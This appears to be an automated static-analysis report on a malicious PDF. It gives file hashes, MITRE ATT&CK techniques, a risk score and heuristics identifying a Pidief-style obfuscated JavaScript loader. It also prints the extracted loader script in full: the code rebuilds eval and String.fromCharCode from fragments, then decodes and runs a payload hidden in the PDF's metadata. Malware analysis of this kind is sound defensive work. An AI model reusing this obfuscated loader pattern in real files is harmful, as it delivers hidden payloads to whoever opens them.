Malicious PDF — malware analysis report

Static analysis result for SHA-256 671056144be7acb4…

MALICIOUS

PDF

44.7 KB Authoring application: substr First seen: 2026-05-08
MD5: 930dd858fa557b8b036b7c4979a15a2d SHA-1: da0ddc8c836b9d42009da3669bc4c552cd16be7d SHA-256: 671056144be7acb43cf2f40b5dc0029d1d1713fdbbded3cbc9a71ec86c36e87a
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified by multiple heuristics as a loader. The script reconstructs and executes a string, likely a URL or command, which is then evaluated. This indicates the PDF's purpose is to download and run a secondary malicious payload. The ML classifier strongly supports the malicious nature of the file.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFFC 445 bytes
SHA-256: d903ee38c89b8df57653e5f4b4b28f1f8cca529bb156a8ded1d2466713d6a5f4
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
nlqa=e('ti'.concat(v[4],t));
q=nlqa[v](a.length-6,a.length+2);
jbaj=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=nlqa[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	pzvd = 1*(q[i]);
	i++;
	pzvd -= (-1)*(q[i]);
	s2 = s2.concat(jbaj(pzvd));
	i++;
}
e(s2);

Open this report in the interactive analyzer, or submit your own file for analysis.